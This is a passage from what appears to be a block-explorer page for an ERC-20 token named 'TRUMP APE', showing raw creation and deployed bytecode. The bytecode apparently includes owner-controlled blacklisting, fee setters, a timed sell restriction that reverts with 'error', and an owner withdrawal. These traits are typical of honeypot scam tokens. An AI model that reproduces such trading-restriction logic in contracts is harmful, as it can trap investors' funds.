t256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526100106009600a610646565b61001e90633b9aca0061065b565b600c819055600d555f600e81905561012c600f55604080516080808201835283825260208083018590528284018590526060928301859052601785905560188590556019859055601a85905583519182018452848252810184905291820183905201819052601b819055601c819055601d819055601e55602480546001600160a01b03191673108f0474171641d969cab86d5bacadfa71e7c44717905560258054630101000160a01b63ffff00ff60a01b199091161790553480156100e1575f80fd5b5060405161315638038061315683398101604081905261010091610672565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d5460035f6101575f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20556101798161049e565b600160065f61018f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260068552838220805487166001908117909155602554841683528483208054881682179055602454909316825283822080548716841790557f020c67dc1e7dc93c83f37c14565a48c14e4f0e48f1f6d9560be0e163d0064db680548716841790557fecd07a6021e8a0ac89fa26eed32b21307e90b2600da55cc4567818d9d2a2b70880548716841790557f7354a1cc4b1a8e6c88c74543fe7d80c8d17c40b0f53920f7023c3c391093288c80548716841790557f9f53a1a9388f481057d29c2a5ac88311811a78b2d120fbec6ee283cd2fc21a1880548716841790557f6d8d96583e2e6275c61c9399d482ccfb8366277a2850b75d33c5a85d498ee54b80548716841790557f53d64fad28aba78c9a01f2a8f707232cca21a168fda02714b2a11d9fb2f323f580548716841790557f7a111aa495a652175483a8bec0e64f0756ccd593c767494d5c6aa8e6fc8c87d980548716841790557fdc5c5464cdd7a85d982a98b6470e04cf09730c12c48f56d8f860423ac5f7646280548716841790557f9ace880a195bb4bb47bd164c39868a7159a1647246aa23c0180c43af3aa6caaa80548716841790557f0146f5ee941a72393591d30272051acfa32feca0714f72e537dcbd0d9eda2a8c80548716841790557faf6d795dc50eb14d6aabf70beb3449f585011487fd91cd843c107c08ff338de080548716841790557f783f87cc4731b2167474d3b87e54ecd60bf53e50c7074363254d6e704b24d2848054871684179055808252600790945291822080549094168117909355600b8054938401815590527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db990910180546001600160a01b031916909117905561044a5f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c5460405161049091815260200190565b60405180910390a3506106ab565b602580546001600160a01b0319166001600160a01b0383161790556104c56009600a610646565b6104d5906509184e72a00061065b565b6001600160a01b0382165f90815260036020526040812080549091906104fc908490610698565b9091555061050e90506009600a610646565b61051e906509184e72a00061065b565b6001600160a01b0382165f9081526004602052604081208054909190610545908490610698565b909155505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561059c578085048111156105805761058061054d565b600184161561058e57908102905b60019390931c928002610565565b935093915050565b5f826105b257506001610640565b816105be57505f610640565b81600181146105d457600281146105de576105fa565b6001915050610640565b60ff8411156105ef576105ef61054d565b50506001821b610640565b5060208310610133831016604e8410600b841016171561061d575081810a610640565b6106295f198484610561565b805f190482111561063c5761063c61054d565b0290505b92915050565b5f61065460ff8416836105a4565b9392505050565b80820281158282048414176106405761064061054d565b5f60208284031215610682575f80fd5b81516001600160a01b0381168114610654575f80fd5b808201808211156106405761064061054d565b612a9e806106b85f395ff3fe6080604052600436106102f6575f3560e01c8063715018a611610189578063bc0ad5a3116100d8578063ea2f0b3711610092578063f2fde38b1161006d578063f2fde38b146109d8578063f6d7eade146109f7578063f921400514610a16578063ff89757014610a35575f80fd5b8063ea2f0b371461096f578063ecbde40c1461098e578063efbe389a146109b9575f80fd5b8063bc0ad5a31461087a578063c2b7bbb61461089a578063c49b9a80146108b9578063dd62ed3e146108d8578063e2255e291461091c578063e7e645191461093b575f80fd5b806395d89b4111610143578063a39801c61161011e578063a39801c6146107f2578063a457c2d714610811578063a8be9a5814610830578063a9059cbb1461085b575f80fd5b806395d89b411461078e5780639b26c923146107bb5780639ba5e4d5146107d0575f80fd5b8063715018a6146106a357806373cafdc2146106b7578063786564c4146106d957806388f82020146106f85780638b7afe2e1461072f5780638da5cb5b1461075e575f80fd5b80633ccfd60b116102455780634a74bb02116101ff5780635342acb4116101da5780635342acb4146105ec5780635a1afc561461062357806370a0823114610642578063713898cd14610661575f80fd5b80634a74bb021461058e57806351ecfeae146105ae57806352390c02146105cd575f80fd5b80633ccfd60b146104ca5780634359a871146104de578063437823ec146105125780634549b039146105315780634a17beb1146105505780634a49ac4c1461056f575f80fd5b80632d838119116102b057806334ef80bc1161028b57806334ef80bc1461044e5780633685d4191461046d578063370f0a601461048c57806339509351146104ab575f80fd5b80632d838119146103ff578063313ce5671461041e57806331b72ff014610439575f80fd5b806306fdde0314610301578063095ea7b31461034457806318160ddd146103735780631cdd3be31461039157806323b872dd146103bf578063275d53ce146103de575f80fd5b366102fd57005b5f80fd5b34801561030c575f80fd5b506040805180820190915260098152685452554d502041504560b81b60208201525b60405161033b9190612720565b60405180910390f35b34801561034f575f80fd5b5061036361035e366004612770565b610a54565b604051901515815260200161033b565b34801561037e575f80fd5b50600c545b60405190815260200161033b565b34801561039c575f80fd5b506103636103ab366004612798565b600a6020525f908152604090205460ff1681565b3480156103ca575f80fd5b506103636103d93660046127b1565b610a6a565b3480156103e9575f80fd5b506103fd6103f83660046127fa565b610add565b005b34801561040a575f80fd5b50610383610419366004612813565b610b2d565b348015610429575f80fd5b506040516009815260200161033b565b348015610444575f80fd5b50610383600f5481565b348015610459575f80fd5b506103fd610468366004612813565b610b97565b348015610478575f80fd5b506103fd610487366004612798565b610bc5565b348015610497575f80fd5b506103fd6104a6366004612798565b610d69565b3480156104b6575f80fd5b506103636104c5366004612770565b610e97565b3480156104d5575f80fd5b506103fd610ecd565b3480156104e9575f80fd5b506103836104f8366004612798565b6001600160a01b03165f9081526008602052604090205490565b34801561051d575f80fd5b506103fd61052c366004612798565b610f22565b34801561053c575f80fd5b5061038361054b36600461282a565b610f6e565b34801561055b575f80fd5b506103fd61056a366004612854565b610ff5565b34801561057a575f80fd5b506103fd610589366004612798565b611088565b348015610599575f80fd5b5060255461036390600160b81b900460ff1681565b3480156105b9575f80fd5b506103fd6105c83660046128c5565b6110d1565b3480156105d8575f80fd5b506103fd6105e7366004612798565b61110e565b3480156105f7575f80fd5b50610363610606366004612798565b6001600160a01b03165f9081526006602052604090205460ff1690565b34801561062e575f80fd5b506103fd61063d366004612813565b61125b565b34801561064d575f80fd5b5061038361065c366004612798565b611289565b34801561066c575f80fd5b50601b54601c54601d54601e546106839392919084565b60408051948552602085019390935291830152606082015260800161033b565b3480156106ae575f80fd5b506103fd6112df565b3480156106c2575f80fd5b50601754601854601954601a546106839392919084565b3480156106e4575f80fd5b506103fd6106f33660046128c5565b611350565b348015610703575f80fd5b50610363610712366004612798565b6001600160a01b03165f9081526007602052604090205460ff1690565b34801561073a575f80fd5b50601554601654610749919082565b6040805192835260208301919091520161033b565b348015610769575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161033b565b348015610799575f80fd5b50604080518082019091526005815264547261706560d81b602082015261032e565b3480156107c6575f80fd5b50610383600e5481565b3480156107db575f80fd5b506011546012546013546014546106839392919084565b3480156107fd575f80fd5b5061036361080c3660046128f4565b61138d565b34801561081c575f80fd5b5061036361082b366004612770565b6113fc565b34801561083b575f80fd5b5061038361084a366004612798565b60086020525f908152604090205481565b348015610866575f80fd5b50610363610875366004612770565b611449565b348015610885575f80fd5b5060255461036390600160a01b900460ff1681565b3480156108a5575f80fd5b506103fd6108b4366004612798565b611469565b3480156108c4575f80fd5b506103fd6108d33660046127fa565b611524565b3480156108e3575f80fd5b506103836108f2366004612926565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610927575f80fd5b506103fd6109363660046127fa565b6115a5565b348015610946575f80fd5b50610383610955366004612798565b6001600160a01b03165f9081526009602052604090205490565b34801561097a575f80fd5b506103fd610989366004612798565b6115ec565b348015610999575f80fd5b506103836109a8366004612798565b60096020525f908152604090205481565b3480156109c4575f80fd5b50602354610776906001600160a01b031681565b3480156109e3575f80fd5b506103fd6109f2366004612798565b611635565b348015610a02575f80fd5b50602454610776906001600160a01b031681565b348015610a21575f80fd5b50601054610776906001600160a01b031681565b348015610a40575f80fd5b506103fd610a4f366004612854565b61171c565b5f610a603384846117aa565b5060015b92915050565b5f610a768484846118cd565b610ac78433610ac285604051806060016040528060288152602001612a1c602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611b3e565b6117aa565b50602554600160b01b900460ff165b9392505050565b5f546001600160a01b03163314610b0f5760405162461bcd60e51b8152600401610b069061294e565b60405180910390fd5b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f600d54821115610b935760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610b06565b5090565b5f546001600160a01b03163314610bc05760405162461bcd60e51b8152600401610b069061294e565b600f55565b5f546001600160a01b03163314610bee5760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b0381165f9081526007602052604090205460ff16610c555760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610b06565b5f5b600b54811015610d6557816001600160a01b0316600b8281548110610c7e57610c7e612983565b5f918252602090912001546001600160a01b031603610d5d57600b8054610ca7906001906129ab565b81548110610cb757610cb7612983565b5f91825260209091200154600b80546001600160a01b039092169183908110610ce257610ce2612983565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600b805480610d3957610d396129be565b5f8281526020902081015f1990810180546001600160a01b03191690550190555050565b600101610c57565b5050565b5f546001600160a01b03163314610d925760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b0381165f9081526007602052604090205460ff16610e68576001600160a01b0381165f908152600760209081526040808320805460ff19166001179055600390915290205415610e1d576001600160a01b0381165f90815260036020526040902054610e0490610b2d565b6001600160a01b0382165f908152600460205260409020555b600b80546001810182555f919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b0381165f908152600660205260409020805460ff19166001908117909155610d659082611b69565b335f8181526005602090815260408083206001600160a01b03871684529091528120549091610a60918590610ac29086906129d2565b5f546001600160a01b03163314610ef65760405162461bcd60e51b8152600401610b069061294e565b6040514790339082156108fc029083905f818181858888f19350505050158015610d65573d5f803e3d5ffd5b5f546001600160a01b03163314610f4b5760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b5f600c54831115610fc15760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610b06565b81610fdc575f610fd2846001611b7d565b519150610a649050565b5f610fe8846001611b7d565b602001519150610a649050565b5f546001600160a01b0316331461101e5760405162461bcd60e51b8152600401610b069061294e565b5f5b8181101561108357600160065f85858581811061103f5761103f612983565b90506020020160208101906110549190612798565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611020565b505050565b5f546001600160a01b031633146110b15760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b03165f908152600a60205260409020805460ff19169055565b5f546001600160a01b031633146110fa5760405162461bcd60e51b8152600401610b069061294e565b601793909355601891909155601955601a55565b5f546001600160a01b031633146111375760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b0381165f9081526007602052604090205460ff161561119f5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610b06565b6001600160a01b0381165f90815260036020526040902054156111f6576001600160a01b0381165f908152600360205260409020546111dd90610b2d565b6001600160a01b0382165f908152600460205260409020555b6001600160a01b03165f818152600760205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319169091179055565b5f546001600160a01b031633146112845760405162461bcd60e51b8152600401610b069061294e565b600e55565b6001600160a01b0381165f9081526007602052604081205460ff16156112c457506001600160a01b03165f9081526004602052604090205490565b506001600160a01b03165f9081526003602052604090205490565b5f546001600160a01b031633146113085760405162461bcd60e51b8152600401610b069061294e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146113795760405162461bcd60e51b8152600401610b069061294e565b601b93909355601c91909155601d55601e55565b5f835f0361139c57505f610ad6565b5f6113a785426129ab565b9050600f5481036113bc576001915050610ad6565b805f036113e1576010546001600160a01b038481169116146113e1575f915050610ad6565b8381116113f2576001915050610ad6565b505f949350505050565b5f610a603384610ac285604051806060016040528060258152602001612a4460259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190611b3e565b5f6114553384846118cd565b5050602554600160a01b900460ff16919050565b5f546001600160a01b031633146114925760405162461bcd60e51b8152600401610b069061294e565b602380546001600160a01b039283166001600160a01b0319918216811783555f908152600760209081526040808320805460ff191660019081179091558554600b805492830190557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9909101805490951690871617909355925490931683526003825280832054600490925290912055565b5f546001600160a01b0316331461154d5760405162461bcd60e51b8152600401610b069061294e565b60258054821515600160b81b0260ff60b81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061159a90831515815260200190565b60405180910390a150565b5f546001600160a01b031633146115ce5760405162461bcd60e51b8152600401610b069061294e565b60258054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146116155760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b03165f908152600660205260409020805460ff19169055565b5f546001600160a01b0316331461165e5760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b0381166116c35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b06565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146117455760405162461bcd60e51b8152600401610b069061294e565b5f5b81811015611083576001600a5f85858581811061176657611766612983565b905060200201602081019061177b9190612798565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611747565b6001600160a01b03831661180c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b06565b6001600160a01b03821661186d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b06565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f908152600a602052604090205460ff1615801561190d57506001600160a01b0382165f908152600a602052604090205460ff16155b6119595760405162461bcd60e51b815260206004820152601b60248201527f54686973206164647265737320697320626c61636b6c697374656400000000006044820152606401610b06565b6001600160a01b0383166119bd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b06565b6001600160a01b038216611a1f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b06565b5f8111611a805760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b06565b611a8983611289565b811115611af15760405162461bcd60e51b815260206004820152603060248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201526f7468616e20796f752062616c616e636560801b6064820152608401610b06565b6001600160a01b0383165f908152600660205260409020546110839084908490849060ff1680611b3857506001600160a01b0386165f9081526006602052604090205460ff165b15611bc5565b5f8184841115611b615760405162461bcd60e51b8152600401610b069190612720565b505050900390565b5f610ad6836001600160a01b038416612173565b611b856126d1565b611b8f8383612256565b9050611ba4818484611b9f612334565b612355565b60a08701526080860152606085015260408401526020830152815292915050565b8015611d8c576023546001600160a01b0390811690851603611c97575f546001600160a01b03858116911614801590611c0b57505f546001600160a01b03848116911614155b8015611c2157506001600160a01b038316600114155b15611c5f576001600160a01b0383165f908152600860205260408120549003611c5f576001600160a01b0383165f9081526008602052604090204290555b601080546001600160a01b0319166001600160a01b038516179055601754601f55601854602055601954602155601a54602255611e04565b5f546001600160a01b03858116911614801590611cc157505f546001600160a01b03848116911614155b8015611cd757506001600160a01b038316600114155b15611d54576001600160a01b0384165f90815260086020526040812054611d0190600e548761138d565b905080611d385760405162461bcd60e51b815260206004820152600560248201526432b93937b960d91b6044820152606401610b06565b506001600160a01b0384165f9081526009602052604090204290555b601b54601f55601c54602055601d54602155601e54602255601080546001600160a01b0319166001600160a01b038616179055611e04565b6001600160a01b0384165f9081526006602052604090205460ff1615611dc857601080546001600160a01b0319166001600160a01b0386161790555b6001600160a01b0383165f9081526006602052604090205460ff1615611e0457601080546001600160a01b0319166001600160a01b0385161790555b5f611e0f8383611b7d565b6001600160a01b0386165f9081526007602052604090205490915060ff168015611e5157506001600160a01b0384165f9081526007602052604090205460ff16155b15611e96576001600160a01b0385165f90815260046020526040902054611e799084906129ab565b6001600160a01b0386165f90815260046020526040902055611fd3565b6001600160a01b0385165f9081526007602052604090205460ff16158015611ed557506001600160a01b0384165f9081526007602052604090205460ff165b15611f1e5760c08101516001600160a01b0385165f90815260046020526040902054611f0191906129d2565b6001600160a01b0385165f90815260046020526040902055611fd3565b6001600160a01b0385165f9081526007602052604090205460ff168015611f5c57506001600160a01b0384165f9081526007602052604090205460ff165b15611fd3576001600160a01b0385165f90815260046020526040902054611f849084906129ab565b6001600160a01b038087165f908152600460205260408082209390935560c084015191871681529190912054611fba91906129d2565b6001600160a01b0385165f908152600460205260409020555b80516001600160a01b0386165f90815260036020526040902054611ff791906129ab565b6001600160a01b038087165f908152600360209081526040808320949094558401519187168152919091205461202d91906129d2565b6001600160a01b0385165f9081526003602052604090205581156120f35761205d81604001518260e001516123cc565b61207081606001518261010001516123fa565b6120838160800151826101200151612495565b6120968160a001518261014001516124c2565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361012001518461010001516120e191906129d2565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161213c91815260200190565b60405180910390a361214f600185612501565b5061215985611289565b5f0361216c5761216a600186611b69565b505b5050505050565b5f818152600183016020526040812054801561224d575f6121956001836129ab565b85549091505f906121a8906001906129ab565b9050818114612207575f865f0182815481106121c6576121c6612983565b905f5260205f200154905080875f0184815481106121e6576121e6612983565b5f918252602080832090910192909255918252600188019052604090208390555b8554869080612218576122186129be565b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050610a64565b5f915050610a64565b61225e6126d1565b8161226f5760c08101839052610a64565b601f5460649061227f90856129e5565b61228991906129fc565b60e082015260205460649061229e90856129e5565b6122a891906129fc565b6101008201526021546064906122be90856129e5565b6122c891906129fc565b6101208201526022546064906122de90856129e5565b6122e891906129fc565b610140820181905261012082015161010083015160e084015161230b90876129ab565b61231591906129ab565b61231f91906129ab565b61232991906129ab565b60c082015292915050565b5f805f61233f612515565b909250905061234e81836129fc565b9250505090565b506001825f808080808761237657508493505f9250829150819050806123bf565b5050505060e086015161010087015161012088015161014089015180828461239e878a6129ab565b6123a891906129ab565b6123b291906129ab565b6123bc91906129ab565b94505b9499939850945094509450565b81600d546123da91906129ab565b600d55601180548291905f906123f19084906129d2565b90915550505050565b8060155f015f82825461240d91906129d2565b9091555050601280548291905f906124269084906129d2565b9091555050305f908152600360205260409020546124459083906129d2565b305f9081526003602090815260408083209390935560079052205460ff1615610d6557305f908152600460205260409020546124829082906129d2565b305f908152600460205260409020555050565b8060156001015f8282546124a991906129d2565b9091555050601380548291905f906124269084906129d2565b8060116003015f8282546124d691906129d2565b9091555050600c546124e99082906129ab565b600c55600d546124fa9083906129ab565b600d555050565b5f610ad6836001600160a01b038416612685565b600d54600c545f918291825b600b54811015612654578260035f600b848154811061254257612542612983565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205411806125aa57508160045f600b848154811061258457612584612983565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b156125c057600d54600c54945094505050509091565b60035f600b83815481106125d6576125d6612983565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461260490846129ab565b925060045f600b838154811061261c5761261c612983565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461264a90836129ab565b9150600101612521565b50600c54600d5461266591906129fc565b82101561267c57600d54600c549350935050509091565b90939092509050565b5f8181526001830160205260408120546126ca57508154600181810184555f848152602080822090930184905584548482528286019093526040902091909155610a64565b505f610a64565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461276b575f80fd5b919050565b5f8060408385031215612781575f80fd5b61278a83612755565b946020939093013593505050565b5f602082840312156127a8575f80fd5b610ad682612755565b5f805f606084860312156127c3575f80fd5b6127cc84612755565b92506127da60208501612755565b929592945050506040919091013590565b8035801515811461276b575f80fd5b5f6020828403121561280a575f80fd5b610ad6826127eb565b5f60208284031215612823575f80fd5b5035919050565b5f806040838503121561283b575f80fd5b8235915061284b602084016127eb565b90509250929050565b5f8060208385031215612865575f80fd5b823567ffffffffffffffff81111561287b575f80fd5b8301601f8101851361288b575f80fd5b803567ffffffffffffffff8111156128a1575f80fd5b8560208260051b84010111156128b5575f80fd5b6020919091019590945092505050565b5f805f80608085870312156128d8575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60608486031215612906575f80fd5b833592506020840135915061291d60408501612755565b90509250925092565b5f8060408385031215612937575f80fd5b61294083612755565b915061284b60208401612755565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a6457610a64612997565b634e487b7160e01b5f52603160045260245ffd5b80820180821115610a6457610a64612997565b8082028115828204841417610a6457610a64612997565b5f82612a1657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fd21a327d435876461441d8f0afa4c7e7eff45260fbcc1b381cfb40d9126685864736f6c634300081a0033000000000000000000000000c5436228ffe8b30fd275733d1bcc379cca98b6c9
Deployed Bytecode
0x6080604052600436106102f6575f3560e01c8063715018a611610189578063bc0ad5a3116100d8578063ea2f0b3711610092578063f2fde38b1161006d578063f2fde38b146109d8578063f6d7eade146109f7578063f921400514610a16578063ff89757014610a35575f80fd5b8063ea2f0b371461096f578063ecbde40c1461098e578063efbe389a146109b9575f80fd5b8063bc0ad5a31461087a578063c2b7bbb61461089a578063c49b9a80146108b9578063dd62ed3e146108d8578063e2255e291461091c578063e7e645191461093b575f80fd5b806395d89b4111610143578063a39801c61161011e578063a39801c6146107f2578063a457c2d714610811578063a8be9a5814610830578063a9059cbb1461085b575f80fd5b806395d89b411461078e5780639b26c923146107bb5780639ba5e4d5146107d0575f80fd5b8063715018a6146106a357806373cafdc2146106b7578063786564c4146106d957806388f82020146106f85780638b7afe2e1461072f5780638da5cb5b1461075e575f80fd5b80633ccfd60b116102455780634a74bb02116101ff5780635342acb4116101da5780635342acb4146105ec5780635a1afc561461062357806370a0823114610642578063713898cd14610661575f80fd5b80634a74bb021461058e57806351ecfeae146105ae57806352390c02146105cd575f80fd5b80633ccfd60b146104ca5780634359a871146104de578063437823ec146105125780634549b039146105315780634a17beb1146105505780634a49ac4c1461056f575f80fd5b80632d838119116102b057806334ef80bc1161028b57806334ef80bc1461044e5780633685d4191461046d578063370f0a601461048c57806339509351146104ab575f80fd5b80632d838119146103ff578063313ce5671461041e57806331b72ff014610439575f80fd5b806306fdde0314610301578063095ea7b31461034457806318160ddd146103735780631cdd3be31461039157806323b872dd146103bf578063275d53ce146103de575f80fd5b366102fd57005b5f80fd5b34801561030c575f80fd5b506040805180820190915260098152685452554d502041504560b81b60208201525b60405161033b9190612720565b60405180910390f35b34801561034f575f80fd5b5061036361035e366004612770565b610a54565b604051901515815260200161033b565b34801561037e575f80fd5b50600c545b60405190815260200161033b565b34801561039c575f80fd5b506103636103ab366004612798565b600a6020525f908152604090205460ff1681565b3480156103ca575f80fd5b506103636103d93660046127b1565b610a6a565b3480156103e9575f80fd5b506103fd6103f83660046127fa565b610add565b005b34801561040a575f80fd5b50610383610419366004612813565b610b2d565b348015610429575f80fd5b506040516009815260200161033b565b348015610444575f80fd5b50610383600f5481565b348015610459575f80fd5b506103fd610468366004612813565b610b97565b348015610478575f80fd5b506103fd610487366004612798565b610bc5565b348015610497575f80fd5b506103fd6104a6366004612798565b610d69565b3480156104b6575f80fd5b506103636104c5366004612770565b610e97565b3480156104d5575f80fd5b506103fd610ecd565b3480156104e9575f80fd5b506103836104f8366004612798565b6001600160a01b03165f9081526008602052604090205490565b34801561051d575f80fd5b506103fd61052c366004612798565b610f22565b34801561053c575f80fd5b5061038361054b36600461282a565b610f6e565b34801561055b575f80fd5b506103fd61056a366004612854565b610ff5565b34801561057a575f80fd5b506103fd610589366004612798565b611088565b348015610599575f80fd5b5060255461036390600160b81b900460ff1681565b3480156105b9575f80fd5b506103fd6105c83660046128c5565b6110d1565b3480156105d8575f80fd5b506103fd6105e7366004612798565b61110e565b3480156105f7575f80fd5b50610363610606366004612798565b6001600160a01b03165f9081526006602052604090205460ff1690565b34801561062e575f80fd5b506103fd61063d366004612813565b61125b565b34801561064d575f80fd5b5061038361065c366004612798565b611289565b34801561066c575f80fd5b50601b54601c54601d54601e546106839392919084565b60408051948552602085019390935291830152606082015260800161033b565b3480156106ae575f80fd5b506103fd6112df565b3480156106c2575f80fd5b50601754601854601954601a546106839392919084565b3480156106e4575f80fd5b506103fd6106f33660046128c5565b611350565b348015610703575f80fd5b50610363610712366004612798565b6001600160a01b03165f9081526007602052604090205460ff1690565b34801561073a575f80fd5b50601554601654610749919082565b6040805192835260208301919091520161033b565b348015610769575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161033b565b348015610799575f80fd5b50604080518082019091526005815264547261706560d81b602082015261032e565b3480156107c6575f80fd5b50610383600e5481565b3480156107db575f80fd5b506011546012546013546014546106839392919084565b3480156107fd575f80fd5b5061036361080c3660046128f4565b61138d565b34801561081c575f80fd5b5061036361082b366004612770565b6113fc565b34801561083b575f80fd5b5061038361084a366004612798565b60086020525f908152604090205481565b348015610866575f80fd5b50610363610875366004612770565b611449565b348015610885575f80fd5b5060255461036390600160a01b900460ff1681565b3480156108a5575f80fd5b506103fd6108b4366004612798565b611469565b3480156108c4575f80fd5b506103fd6108d33660046127fa565b611524565b3480156108e3575f80fd5b506103836108f2366004612926565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610927575f80fd5b506103fd6109363660046127fa565b6115a5565b348015610946575f80fd5b50610383610955366004612798565b6001600160a01b03165f9081526009602052604090205490565b34801561097a575f80fd5b506103fd610989366004612798565b6115ec565b348015610999575f80fd5b506103836109a8366004612798565b60096020525f908152604090205481565b3480156109c4575f80fd5b50602354610776906001600160a01b031681565b3480156109e3575f80fd5b506103fd6109f2366004612798565b611635565b348015610a02575f80fd5b50602454610776906001600160a01b031681565b348015610a21575f80fd5b50601054610776906001600160a01b031681565b348015610a40575f80fd5b506103fd610a4f366004612854565b61171c565b5f610a603384846117aa565b5060015b92915050565b5f610a768484846118cd565b610ac78433610ac285604051806060016040528060288152602001612a1c602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611b3e565b6117aa565b50602554600160b01b900460ff165b9392505050565b5f546001600160a01b03163314610b0f5760405162461bcd60e51b8152600401610b069061294e565b60405180910390fd5b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f600d54821115610b935760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610b06565b5090565b5f546001600160a01b03163314610bc05760405162461bcd60e51b8152600401610b069061294e565b600f55565b5f546001600160a01b03163314610bee5760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b0381165f9081526007602052604090205460ff16610c555760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610b06565b5f5b600b54811015610d6557816001600160a01b0316600b8281548110610c7e57610c7e612983565b5f918252602090912001546001600160a01b031603610d5d57600b8054610ca7906001906129ab565b81548110610cb757610cb7612983565b5f91825260209091200154600b80546001600160a01b039092169183908110610ce257610ce2612983565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600b805480610d3957610d396129be565b5f8281526020902081015f1990810180546001600160a01b03191690550190555050565b600101610c57565b5050565b5f546001600160a01b03163314610d925760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b0381165f9081526007602052604090205460ff16610e68576001600160a01b0381165f908152600760209081526040808320805460ff19166001179055600390915290205415610e1d576001600160a01b0381165f90815260036020526